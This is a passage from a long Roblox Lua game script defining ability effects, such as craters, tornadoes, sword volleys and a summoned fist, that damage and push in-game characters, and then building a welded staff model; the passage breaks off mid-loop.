6861 | end until hitx >= Cobalt1164k or tymzup end) end | |
6862 | function GetRegion(p0,p1,f,f2) q(function() | |
6863 | for i,v in pairs(workspace:FindPartsInRegion3(Region3.new(p0,p1),c,100) ) do if v.Parent:findFirstChild("Humanoid") and v.Parent.Humanoid.Health > 0 and v.Parent:findFirstChild("Torso") then q(function() f(v.Parent) end) elseif f2 and v.Parent.Parent:findFirstChild("Humanoid") == nil then f2(v) end end | |
6864 | end) end | |
6865 | function FindGround(pos) local ax,ay,az = pos:toEulerAnglesXYZ() | |
6866 | local bhit,bpos=ray(pos.p,pos.p - (pos.p + v3(0,200,0))) | |
6867 | if bhit and bpos then return cn(bpos)*ca(ax,ay,az) end return nil end | |
6868 | function MakeCrater(pos,sc,tyms,debz) q(function() if not debz then debz = 5 end | |
6869 | local bhit,bpos=ray(pos,pos - (pos + v3(0,200,0))) | |
6870 | if bhit and bpos then | |
6871 | for i=1,tyms do q(function() | |
6872 | local gr = pa(su,"","Block",rn(5,13)/10*sc,0.25*sc,rn(4,10)/10*sc,true,true,bhit.Transparency,bhit.Reflectance,bhit.BrickColor.Name) gr.Material = bhit.Material gr.TopSurface = bhit.TopSurface | |
6873 | gr.CFrame = cn(bpos+v3(rn(-12,12)/10*sc,0,rn(-12,12)/10*sc))*ca(rd(rn(-40,40)),rd(rn(-360,360)),rd(rn(-40,40))) wait(debz) fade(gr,0.1) | |
6874 | end) end | |
6875 | end | |
6876 | end) | |
6877 | end | |
6878 | function ForceBrick(v,rootpos,force) q(function() if v:GetMass() > 100 or v.Anchored or getclass(v,"Weld") then return end | |
6879 | v:BreakJoints() v.Velocity = cn(rootpos,v.Position).lookVector*force | |
6880 | end) end | |
6881 | function FireObj(v,tcf2,adj,spi,tym,rang,fu,glo) q(function() -- obj,cf,adj,spid,tyms,rang,func,glo | |
6882 | local tcf = tcf2 for i=1,tym do | |
6883 | bhit,bpos=ray(tcf.p,tcf.p - (tcf *cn(0,0,-1)).p) | |
6884 | if bhit and (bpos - tcf.p).magnitude < rang then break end | |
6885 | tcf=tcf*cn(0,0,spi) v.CFrame=tcf*adj | |
6886 | wait() end | |
6887 | if glo then GlowMesh(false,"Sphere",t,v3(glo,glo,glo),'Navy blue',cn(bpos),0.1,1,0.08) end | |
6888 | if fu and bhit then fu(bhit) else wait(rn(0,20)/10) fade(v,0.1) end | |
6889 | end) end | |
6890 | function ProjHit1(v,hit,mul2) local mul = mul2 q(function() if not mul2 then mul = 1 end if not hit.Anchored then | |
6891 | if hit.Parent:findFirstChild("Humanoid") and hit.Parent:findFirstChild("Torso") then Dmgz(false,hit.Parent.Humanoid,rn(d[1],d[2])*mul,hit.Parent.Torso) end | |
6892 | v.Anchored = false stick(hit,v) | |
6893 | wait(1) end wait(rn(10,25)/10) fade(v,0.1) end) end | |
6894 | --Dio's functions | |
6895 | function SpawnSword(pos,sc,dmg,col) if pos == nil then return end q(function() MakeCrater(pos.p+v3(0,2,0),3,3,3) | |
6896 | GlowMesh(false,"Sphere",t,v3(7*sc,1.5*sc,7*sc),col,pos,0.1,1,0.05) | |
6897 | local pro = pa(su,"","Block",2*sc,2*sc,7*sc,true,true,0.3,0,"") local prom = qi({"SpecialMesh",pro,Scale=v3(3*sc,2*sc,4*sc),VertexColor=v3(0,0,1),MeshType="FileMesh",MeshId=Decs.RedCliff,TextureId=Decs.RedCliffT}) | |
6898 | pro.CFrame = pos*ca(rd(-25),0,0)*cn(0,-3*sc,0) local cff = pro.CFrame for i=0.1,1,0.15 do pro.CFrame=cff*cn(0,6*sc*i,0)*ca(rd(-90),0,0)*ca(0,0,rd(90)) wait() end | |
6899 | local rr = sc*1.5 GetRegion(pro.Position-v3(rr,rr,rr),pro.Position+v3(rr,rr,rr),function(v) v.Humanoid.PlatformStand = true local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(pro.Position,v.Torso.Position+v3(0,20,0)).lookVector*40}) Dmgz(false,v.Humanoid,rn(d[1],d[2]),v.Torso) wait(0.15) bpp:Remove() v.Humanoid.PlatformStand = false end) wait(1) for i=1,0,-0.15 do pro.CFrame=cff*cn(0,6*sc*i,0)*ca(rd(-90),0,0)*ca(0,0,rd(90)) wait() end pro:Remove() end) | |
6900 | end local bped = {} | |
6901 | function SpikeSucker(pos,sc) | |
6902 | local bal = pa(c,"","Ball",4*sc,4*sc,4*sc,false,true,0.16,0,"White") bal.CFrame = pos | |
6903 | local spi = pa(c,"","Ball",0,0,0,false,true,0.16,0,"White") spi.CFrame = bal.CFrame local spm = qi({"SpecialMesh",spi,MeshType="FileMesh",MeshId=Decs.SpikeBall}) | |
6904 | local dia = pa(bal,"","Block",0,0,0,false,true,0.3,0,"White") qi({"SpecialMesh",dia,Scale=v3(1*sc,2*sc,1*sc),MeshType="FileMesh",MeshId=Decs.Diamond}) | |
6905 | local dia2 = dia:Clone() dia2.Parent = bal local dia3 = dia:Clone() dia3.Parent = bal local tms = 0 local rr=10*sc for x=1,4 do | |
6906 | for i=0,1,0.1 do tms = tms + 1 | |
6907 | spm.Scale = v3(i,i,i)*1.7 spi.CFrame=spi.CFrame*ca(rd(4),rd(4),rd(4)) dia.CFrame = bal.CFrame*ca(rd(tms*5),0,0)*cn(0,6*sc,0) dia2.CFrame = bal.CFrame*ca(0,0,rd(tms*5))*cn(0,6*sc,0) dia3.CFrame = bal.CFrame*ca(0,rd(tms*5),0)*cn(0,0,6*sc)*ca(rd(90),0,0) | |
6908 | if tms%3==0 then GetRegion(bal.Position-v3(rr,rr,rr),bal.Position+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(1,3),v.Torso) if v.Torso:findFirstChild("SBP") == nil then ti(bped,v) qi({"BodyPosition",v.Torso,Name="SBP",D=6000,maxForce=v3(200000,200000,200000),position=bal.Position}) end end) end | |
6909 | wait() | |
6910 | end | |
6911 | for i=1,0,-0.1 do tms = tms + 1 | |
6912 | spm.Scale = v3(i,i,i)*1.7 spi.CFrame=spi.CFrame*ca(rd(4),rd(4),rd(4)) dia.CFrame = bal.CFrame*ca(rd(tms*5),0,0)*cn(0,6*sc,0) dia2.CFrame = bal.CFrame*ca(0,0,rd(tms*5))*cn(0,6*sc,0) dia3.CFrame = bal.CFrame*ca(0,rd(tms*5),0)*cn(0,0,6*sc)*ca(rd(90),0,0) | |
6913 | if tms%3==0 then GetRegion(bal.Position-v3(rr,rr,rr),bal.Position+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(1,3),v.Torso) if v.Torso:findFirstChild("SBP") == nil then ti(bped,v) qi({"BodyPosition",v.Torso,Name="SBP",D=6000,maxForce=v3(200000,200000,200000),position=bal.Position}) end end) end | |
6914 | wait() | |
6915 | end | |
6916 | for i,v in pairs(bped) do q(function() for i,vv in pairs(v.Torso:children()) do if vv.Name == "SBP" then vv:Remove() end end end) end | |
6917 | end | |
6918 | q(function() fade(dia,0.2) fade(dia2,0.2) fade(dia3,0.2) for i=0.1,1,0.1 do spi.Transparency = i spm.Scale = spm.Scale*1.1 bal.Transparency = i bal.Size = bal.Size*1.1 bal.CFrame = pos wait() end spi:Remove() bal:Remove() end) | |
6919 | end | |
6920 | function Blackspace(pos,tms,dmg) | |
6921 | local bal = pa(c,"","Ball",52,52,52,false,true,1,0,"Really black") bal.CFrame = pos | |
6922 | for i=1,0.5,-0.1 do bal.Transparency =i wait() end | |
6923 | for i=1,tms do local o = 25 | |
6924 | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(25,0,0).p,4,2.5,"Institutional white",0.3,0) | |
6925 | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(-25,0,0).p,4,2.5,"Institutional white",0.3,0) | |
6926 | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,25,0).p,4,2.5,"Institutional white",0.3,0) | |
6927 | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,-25,0).p,4,2.5,"Institutional white",0.3,0) | |
6928 | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,0,25).p,4,2.5,"Institutional white",0.3,0) | |
6929 | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,0,-25).p,4,2.5,"Institutional white",0.3,0) | |
6930 | local rr = 25 if i%4==0 then GetRegion(pos.p-v3(rr,rr,rr),pos.p+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(3,5),v.Torso) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(bal.Position,v.Torso.Position).lookVector*10}) wait(0.1) bpp:Remove() end) end | |
6931 | wait(0.05) | |
6932 | end | |
6933 | for i=0.5,1,0.1 do bal.Transparency =i wait() end bal:Remove() | |
6934 | end | |
6935 | function MatterBall(pos,sc,spid,tyms,dmgmul) q(function() | |
6936 | local cor = db1:Clone() cor.Mesh.Scale=v3(sc,sc,sc)*5 local cor2 = db2:Clone() cor2.Mesh.Scale = cor.Mesh.Scale*1.55 qi({"Fire",cor,Color=bc('Navy blue').Color,SecondaryColor=bc('Navy blue').Color,Size=sc*3.5,Heat=0}) | |
6937 | cor.Transparency = 0.05 cor.Anchored = true cor2.Anchored = true cor2.Transparency = 0.4 cor.Parent = su cor2.Parent = cor cor.CFrame = pos | |
6938 | local corms = cor.Mesh.Scale local cor2ms = cor2.Mesh.Scale for i=1,tyms do local Cobalt1164vt = {-2*sc,2*sc} | |
6939 | local Cobalt1164v3 = v3(0,0,0) local Cobalt1164rn = rn(1,3) if Cobalt1164rn == 1 then Cobalt1164v3=v3(Cobalt1164vt[rn(1,2)],0,0) elseif Cobalt1164rn == 2 then Cobalt1164v3=v3(0,Cobalt1164vt[rn(1,2)],0) elseif Cobalt1164rn == 3 then Cobalt1164v3=v3(0,0,Cobalt1164vt[rn(1,2)]) end cor.Mesh.Scale=corms+Cobalt1164v3 cor2.Mesh.Scale=cor2ms+Cobalt1164v3 | |
6940 | cor.CFrame = pos*cn(0,0,-spid*i) | |
6941 | local bhit,bpos=ray(cor.Position,cor.Position - (cor.CFrame *cn(0,0,1)).p) | |
6942 | if bhit and (bpos - cor.Position).magnitude < (spid*1.1) then break end | |
6943 | cor.CFrame=cor.CFrame*ca(rd(rn(-360,360)),rd(rn(-360,360)),rd(rn(-360,360))) cor2.CFrame = cor.CFrame | |
6944 | local Cobalt1164pos = FindGround(cor.CFrame) if Cobalt1164pos and i%rn(2,3)==0 then GlowMesh(false,Decs.Crown,t,v3(2.6*sc,0.8*sc,2.6*sc),'Navy blue',cn(Cobalt1164pos.p+v3(0,0.15*sc,0)),0.1,1,0.05) end | |
6945 | wait() end cor.Fire:Remove() | |
6946 | q(function() | |
6947 | local n1 = pa(su,"","Block",0,0,0,true,true,0.3,0,"White") qi({"SpecialMesh",n1,Scale=v3(3.5,3.5,8),MeshType="FileMesh",MeshId=Decs.Chakram}) | |
6948 | local n2 = n1:Clone() n2.Parent = su n1.CFrame = cor.CFrame*ca(0,rd(-45),0) n2.CFrame = cor.CFrame*ca(0,rd(45),0) | |
6949 | for i=1,8 do n1.Mesh.Scale = n1.Mesh.Scale+v3(0.3*sc,0.3*sc,0.35*sc) n2.Mesh.Scale = n1.Mesh.Scale cor.Transparency = cor.Transparency + 0.12 n1.Transparency = cor.Transparency n2.Transparency = n1.Transparency cor2.Transparency = cor2.Transparency + 0.1 cor.Mesh.Scale = cor.Mesh.Scale+v3(2.3*sc,2.3*sc,2.3*sc) cor2.Mesh.Scale = cor.Mesh.Scale*1.55 wait() end n1:Remove() n2:Remove() cor:Remove() cor2:Remove() end) | |
6950 | local rr = sc GetRegion(cor.Position-v3(rr,rr,rr),cor.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(cor.Position,v.Torso.Position+v3(0,2,0)).lookVector*60}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*dmgmul,v.Torso) wait(0.12) bpp:Remove() end) | |
6951 | end) end | |
6952 | function FistBoom(pos,sc,dmg,TYMZEH) q(function() | |
6953 | local rip = pa(su,"","Block",1,1,1,false,true,0.2,0,"White") local ripm = qi({"SpecialMesh",rip,MeshType="Sphere"}) | |
6954 | rip.CFrame = pos*cn(-4*sc/2,4*sc/2,0)*ca(0,0,rd(45)) | |
6955 | for i=1,3.5,0.5 do rip.Size=v3(1,i*2,1) rip.CFrame = pos*cn((-4+i)*sc,(4-i)*sc,0)*ca(0,0,rd(45)) wait() end | |
6956 | for i=1,3.5,0.25 do rip.Size=v3(i*2,7,1) rip.CFrame = pos*ca(0,0,rd(45)) wait() end | |
6957 | local fis = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") local fism = qi({"SpecialMesh",fis,Scale=v3(8*sc,8*sc,8*sc),MeshType="FileMesh",MeshId=Decs.Fist}) | |
6958 | for i=0.5,5.5,1 do fism.Scale = v3(8*sc,((8*sc)/5.5)*i,8*sc) fis.CFrame = pos*cn(0,0,-i*sc)*ca(rd(-90),rd(-90),0) wait() end | |
6959 | fism.Scale = fism.Scale+v3(1*sc,1*sc,1*sc) fis.CFrame = pos*cn(0,5*sc,-5*sc)*ca(rd(45),0,0)*ca(rd(-90),rd(-90),0) rip.CFrame=pos*ca(rd(45),0,0) qi({"Fire",fis,Heat=-25,Size=15,Color=bc('Navy blue').Color,SecondaryColor=bc('Navy blue').Color}) | |
6960 | local arm = pa(su,"","Block",1,1,1,false,true,0.2,0,"White") local armm = it('CylinderMesh',arm) | |
6961 | arm.CFrame = cn(rip.Position,fis.CFrame*cn(0,-5.5,0).p)*cn(0,0,-(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude/2-0.5)*ca(rd(90),0,0) armm.Scale = v3(4*sc,(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1,4*sc) | |
6962 | for i=1,7 do fis.CFrame=fis.CFrame*cn(0,TYMZEH/7,0) | |
6963 | arm.CFrame = cn(rip.Position,fis.CFrame*cn(0,-5.5,0).p)*cn(0,0,-(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude/2-0.5)*ca(rd(90),0,0) armm.Scale = v3(4*sc,(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1,4*sc) | |
6964 | wait() end local armag = (rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1 | |
6965 | for x=45,0,-5 do | |
6966 | rip.CFrame = pos*ca(rd(x+180),0,0) fis.CFrame=rip.CFrame*cn(0,0,(armag-1)+(5.5*sc))*ca(rd(90),rd(-90),0) | |
6967 | arm.CFrame = rip.CFrame*cn(0,0,((armag-1)/2)+0.5)*ca(rd(90),0,0) | |
6968 | wait() | |
6969 | end | |
6970 | q(function() local cfz = {rip.CFrame,arm.CFrame,fis.CFrame} for i=1,15 do local Cobalt1164v3=v3(rn(-1*sc,1*sc),rn(-1*sc,1*sc),rn(-1*sc,1*sc)) rip.CFrame=cfz[1]+Cobalt1164v3 fis.CFrame=cfz[3]+Cobalt1164v3 arm.CFrame=cfz[2]+Cobalt1164v3 wait() end | |
6971 | for i=armag,0,-armag/15 do armm.Scale =v3(4,i,4) fis.CFrame=rip.CFrame*cn(0,0,(i)+(5.5*sc))*ca(rd(90),rd(-90),0) arm.CFrame = rip.CFrame*cn(0,0,((i-1)/2)+0.5)*ca(rd(90),0,0) wait() end arm:Remove() | |
6972 | for i=5.5,0.5,-1 do fism.Scale = v3(8*sc,((8*sc)/5.5)*i,8*sc) fis.CFrame = pos*cn(0,0,-i*sc)*ca(rd(-90),rd(-90),0) wait() end fis:Remove() | |
6973 | for i=0.2,1,0.1 do ripm.Scale = ripm.Scale+v3(0.2*sc,0.2*sc,0.2*sc) rip.Transparency = i wait() end rip:Remove() end) | |
6974 | local rr = 6.5*sc GetRegion(fis.Position-v3(rr,rr,rr),fis.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(fis.Position-v3(0,1*sc,0),v.Torso.Position+v3(0,2,0)).lookVector*75}) Dmgz(false,v.Humanoid,rn(d[1]*2,d[2]*2.5),v.Torso) wait(0.15) bpp:Remove() end,function(v) ForceBrick(v,fis.Position,100) end) | |
6975 | MakeCrater(fis.Position+v3(0,2,0),5,7,10) | |
6976 | end) end | |
6977 | WormDrill = function(target,sca) q(function() local spiran = rn(-360,360) local slope = {} | |
6978 | for i=90,-270,-10 do table.insert(slope,cn(target.p)*ca(0,rd(spiran),0)*cn(0,0,30*sca)*ca(rd(i),0,0)*cn(0,0,30*sca)) end | |
6979 | local mm = it('Model',su) local tr = 0.15 | |
6980 | local worm0 = pa(mm,"","Block",0,60,0,true,true,tr,0,"White") qi({"SpecialMesh",worm0,Scale=v3(9*sca,12*sca,9*sca),MeshType="FileMesh",MeshId="http://www.roblox.com/asset/?id=12137531"}) | |
6981 | local worm1 = pa(mm,"","Block",10*sca,6*sca,10*sca,true,true,tr,0,"White") it('CylinderMesh',worm1) | |
6982 | local worm2 = pa(mm,"","Block",9.5*sca,6*sca,9.5*sca,true,true,tr,0,"White") it('CylinderMesh',worm2) | |
6983 | local worm3 = pa(mm,"","Block",9*sca,6*sca,9*sca,true,true,tr,0,"White") it('CylinderMesh',worm3) | |
6984 | local worm4 = pa(mm,"","Block",8.5*sca,6*sca,8.5*sca,true,true,tr,0,"White") it('CylinderMesh',worm4) | |
6985 | local worm5 = pa(mm,"","Block",8*sca,6*sca,8*sca,true,true,tr,0,"White") it('CylinderMesh',worm5) | |
6986 | local worm6 = pa(mm,"","Block",7.2*sca,6*sca,7.2*sca,true,true,tr,0,"White") qi({"SpecialMesh",worm6,Scale=v3(4*sca,18.5*sca,4*sca),MeshType="FileMesh",MeshId="http://www.roblox.com/asset/?id=1033714"}) | |
6987 | for i=1,#slope-6 do if i+6 == 10 then MakeCrater(slope[i+6].p+v3(0,10,0),13,9,20) end if i+5 == 27 then local rr = 8*sca GetRegion(slope[i+5].p-v3(rr,rr,rr),slope[i+5].p+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(slope[i+5].p,v.Torso.Position+v3(0,2,0)).lookVector*120}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*3.5,v.Torso) wait(0.2) bpp:Remove() end,function(v) ForceBrick(v,slope[i+5].p,150) end) MakeCrater(slope[i+5].p+v3(0,10,0),13,9,20) end | |
6988 | worm0.CFrame = slope[i+6]*ca(rd(160),0,0)*ca(0,rd(0),0)*cn(0,5*sca,0) worm1.CFrame = slope[i+5] worm2.CFrame = slope[i+4] worm3.CFrame = slope[i+3] worm4.CFrame = slope[i+2] worm5.CFrame = slope[i+1] worm6.CFrame = slope[i]*ca(rd(180),0,0)*cn(0,4*sca,0) wait(0.04) end | |
6989 | worm0:Remove() worm1:Remove() worm2:Remove() worm3:Remove() worm4:Remove() worm5:Remove() worm6:Remove() | |
6990 | end) end | |
6991 | SpawnTornado = function(pos,sc,ski,tyms) q(function() | |
6992 | local tor = pa(su,"","Block",0,0,0,true,true,1,0,"White") qi({"SpecialMesh",tor,Scale=v3(6.4*sc,8*sc,6.5*sc),MeshType="FileMesh",MeshId=Decs.Tornado}) | |
6993 | tor.CFrame = pos q(function() for i=1,0.2,-0.1 do tor.Transparency = i wait() end end) | |
6994 | local zz = 0 local tpos = tor.Position | |
6995 | q(function() while tor.Parent do zz = zz+1 | |
6996 | tor.CFrame = pos*cn(0,0,-zz/2.6)*ca(0,rd(zz*5),0)*cn(0,0,zz*ski/30)*ca(0,rd(zz*25),0) wait() | |
6997 | local rr = 7*sc GetRegion(tor.Position-v3(rr,rr,rr),tor.Position+v3(rr,rr,rr),function(v) if v.Torso:findFirstChild("SRP") == nil then local bp = qi({"BodyPosition",v.Torso,Name="SRP",maxForce=v3(1/0,1/0,1/0),position=tor.CFrame*cn(0,0,-11*sc).p}) while tor.Parent do v.Humanoid.PlatformStand=true bp.position=tor.CFrame*cn(0,0,8*sc).p | |
6998 | if rn(1,6) == 2 then v.Humanoid.Sit = true Dmgz(false,v.Humanoid,rn(1,2),v.Torso) end | |
6999 | wait() end bp:Remove() local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(v.Torso.Position,to.Position+v3(0,30,0)).lookVector*135}) wait(0.4) bpp:Remove() wait(2.5) v.Humanoid.PlatformStand = false else end end) | |
7000 | end end) | |
7001 | wait(tyms) tpos = tor.Position local torm = tor.Mesh.Scale tor:Remove() GlowMesh(false,Decs.Tornado,t,torm*3,'Navy blue',cn(tpos),0.2,1,0.05) | |
7002 | end) end | |
7003 | function CrownSwords(pos) q(function() | |
7004 | local hol = pa(su,"","Block",1,1,1,false,true,0.1,0,"White") qi({"SpecialMesh",hol,MeshType="Sphere"}) | |
7005 | hol.CFrame = pos for i=1,6 do hol.Size=v3(1,1,i*5) hol.CFrame=pos*cn(0,0,(5*i)/2) wait() end | |
7006 | for i=1,6 do hol.Size=v3(i*5,1,30) hol.CFrame=pos*cn(0,0,15) wait() end | |
7007 | local swr = {} for i=1,14 do local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(4,4,4),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)}) ti(swr,swor) end | |
7008 | local swr2 ={} for i=1,8 do local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(4,4,4),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)}) ti(swr2,swor) end | |
7009 | local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(10,14,7.5),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)}) | |
7010 | q(function() for i=1,20 do | |
7011 | swor.CFrame=hol.CFrame*cn(0,(i*3.5)-5.5,0)*ca(rd(90),0,0) | |
7012 | wait() end end) | |
7013 | for i2,v in pairs(swr) do q(function() for i=1,20 do | |
7014 | v.CFrame=hol.CFrame*ca(0,rd(((360/14)*i2)+i*6),0)*cn(0,(i*0.32)-5.5,10)*ca(rd(-90+(91/20*i)),0,0) | |
7015 | wait() end FireObj(v,cn(v.Position,v.CFrame*cn(0,0,-2).p),ca(0,0,0),8,20,6,function(h) ProjHit1(v,h,1.2) end,8) end) end | |
7016 | for i2,v in pairs(swr2) do q(function() for i=1,20 do | |
7017 | v.CFrame=hol.CFrame*ca(0,rd(((360/8)*i2)+i*-8),0)*cn(0,(i*1)-5.5,6)*ca(rd(-90+(135/20*i)),0,0) | |
7018 | wait() end FireObj(v,cn(v.Position,v.CFrame*cn(0,0,-2).p),ca(0,0,0),8,20,6,function(h) ProjHit1(v,h,1.2) end,8) end) end for i=1,20 do wait() end local holp = hol.CFrame fade(hol,0.1) | |
7019 | for i=20*3.5,0,-20*3.5/12 do | |
7020 | swor.CFrame = hol.CFrame*cn(0,i-1,0)*ca(rd(90),0,0) GlowMesh(false,Decs.Crown,t,v3(5,10,5),'Navy blue',swor.CFrame*ca(rd(-90),0,0),0.1,1,0.1) | |
7021 | wait() end local rr = 25 GetRegion(holp.p-v3(rr,rr,rr),holp.p+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(holp.p,v.Torso.Position).lookVector*120}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*1.8,v.Torso) wait(0.24) bpp:Remove() end,function(v) ForceBrick(v,holp.p,150) end) | |
7022 | for i=0,7.5,2.5 do GlowMesh(false,Decs.Ring,t,v3(85-i,85-i,60-i),'Navy blue',hol.CFrame*cn(0,3,0)*ca(rd(-90),0,0),0.1,1,0.05) wait(0.1) end | |
7023 | wait(5) fade(swor,0.02) | |
7024 | end) end | |
7025 | function SpawnDeathBlock(pos,rootvel,sc) q(function() | |
7026 | local bl = pa(su,"","Block",9.5*sc,12*sc,4*sc,true,true,0.05,0,"Really black") local rca = ca(rd(rn(-6,6)),rd(rn(-6,6)),rd(rn(-6,6))) | |
7027 | local sk = pa(su,"","Block",0,0,0,false,true,0.05,0,"Really black") qi({"SpecialMesh",sk,Scale=v3(2*sc,2*sc,0.8*sc),MeshType="FileMesh",MeshId=Decs.Skull1}) | |
7028 | bl.Touched:connect(function(v) if v.Parent == c or v.Parent == su or v.Parent:findFirstChild("Humanoid") == nil or v.Parent:findFirstChild("Torso") == nil then return end | |
7029 | GlowMesh(false,"Sphere",t,v3(12,12,12),'Navy blue',v.CFrame,0.1,1,0.1) | |
7030 | local bpp = qi({"BodyVelocity",v.Parent.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(rootvel,v.Parent.Torso.Position+v3(0,7.5,0)).lookVector*80}) Dmgz(false,v.Parent.Humanoid,rn(d[1],d[2])*0.2,v.Parent.Torso) wait(0.2) bpp:Remove() | |
7031 | end) | |
7032 | for i=0,1,0.1 do bl.CFrame=pos*cn(0,(-5*sc)+(9*i),0)*rca sk.CFrame=bl.CFrame*cn(0,0,-2.1*sc) wait() end | |
7033 | wait(rn(23,30)) | |
7034 | for i,v in pairs({{"Navy blue",v3(30,30,30)},{"Really black",v3(20,20,20)}}) do GlowMesh(false,"Sphere",t,v[2],v[1],bl.CFrame,0.1,1,0.1) end | |
7035 | local rr = 8 GetRegion(bl.Position-v3(rr,rr,rr),bl.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(bl.Position,v.Torso.Position).lookVector*80}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*0.5,v.Torso) wait(0.1) bpp:Remove() end,function(v) ForceBrick(v,holp.p,150) end) | |
7036 | fade(bl,0.1) fade(sk,0.1) | |
7037 | end) end | |
7038 | ---- TUT01Cobalt1164 | |
7039 | han = pa(su,"","Block",0.4,0.4,0.4,false,false,0,0,"White") it('CylinderMesh',han) | |
7040 | hanw = qi({"Weld",han,Part0=t,Part1=han,C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)}) | |
7041 | han2 = pa(su,"","Block",0.35,4,0.35,false,false,0,0,"Black") it('CylinderMesh',han2) | |
7042 | han2w = qi({"Weld",han2,Part0=han,Part1=han2,C0=cn(0,1,0)}) | |
7043 | han3 = pa(su,"","Block",0,0,0,false,false,0,0,"White") qi({"SpecialMesh",han3,MeshType="Sphere",Scale=v3(0.4,0.4,0.4)*5}) | |
7044 | han3w = qi({"Weld",han2,Part0=han2,Part1=han3,C0=cn(0,-2,0)}) | |
7045 | han4 = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",han4,MeshType="Sphere",Scale=v3(0.5,0.7,0.2)*5}) | |
7046 | han4w = qi({"Weld",han2,Part0=han3,Part1=han4,C0=ca(0,rd(90),0)}) | |
7047 | for i=1,7 do | |
7048 | des = pa(su,"","Block",0.4,0.2,0.4,false,false,0,0,"White") it('CylinderMesh',des).Scale = v3(1,0.4,1) | |
7049 | desw = qi({"Weld",han,Part0=han2,Part1=des,C0=cn(0,-0.9+(i/3),0)*ca(rd(rn(-15,15)),0,rd(rn(-15,15)))}) | |
7050 | end | |
7051 | for i=0,270,90 do | |
7052 | des = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.1,0.4,0.1),MeshId=Decs.Spike}) | |
7053 | desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=ca(0,rd(i),0)*cn(0,1.8,0.3)*ca(rd(90),0,0)}) | |
7054 | end | |
7055 | han5 = pa(su,"","Block",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",han5,MeshType="Sphere",Scale=v3(0.35,0.6,0.35)*5}) | |
7056 | han5w = qi({"Weld",han2,Part0=han2,Part1=han5,C0=cn(0,2,0)}) | |
7057 | han6 = pa(su,"","Wedge",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",han6,MeshType="Wedge",Scale=v3(0.1,1,0.5)*5}) | |
7058 | han6w = qi({"Weld",han2,Part0=han2,Part1=han6,C0=cn(0,2.4,0.05)*ca(rd(10),0,0)}) | |
7059 | han7 = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",han7,MeshType="FileMesh",Scale=v3(0.75,0.75,2),MeshId=Decs.Ring}) | |
7060 | han7w = qi({"Weld",han2,Part0=han2,Part1=han7,C0=cn(0,2.9,0)*ca(0,rd(90),0)}) | |
7061 | han8 = pa(su,"","Block",0,0,0,false,false,0.3,0.1,"White") qi({"SpecialMesh",han8,MeshType="Sphere",Scale=v3(0.7,0.7,0.7)*5}) | |
7062 | han8w = qi({"Weld",han2,Part0=han2,Part1=han8,C0=cn(0,2.9,0)*ca(0,0,0)}) | |
7063 | han9 = pa(su,"","Block",0,0,0,false,false,0,0,"Institutional white") qi({"SpecialMesh",han9,Scale=v3(0.25,1,0.25),MeshType="FileMesh",MeshId = Decs.Chakram3}) | |
7064 | han9w = qi({"Weld",han2,Part0=han2,Part1=han9,C0=cn(0,2.9,0)*ca(0,0,rd(90))}) | |
7065 | q(function() while true do wait(0.035) han9w.C0 = han9w.C0 *ca(0,rd(10),0) end end) | |
7066 | for i=0,2 do | |
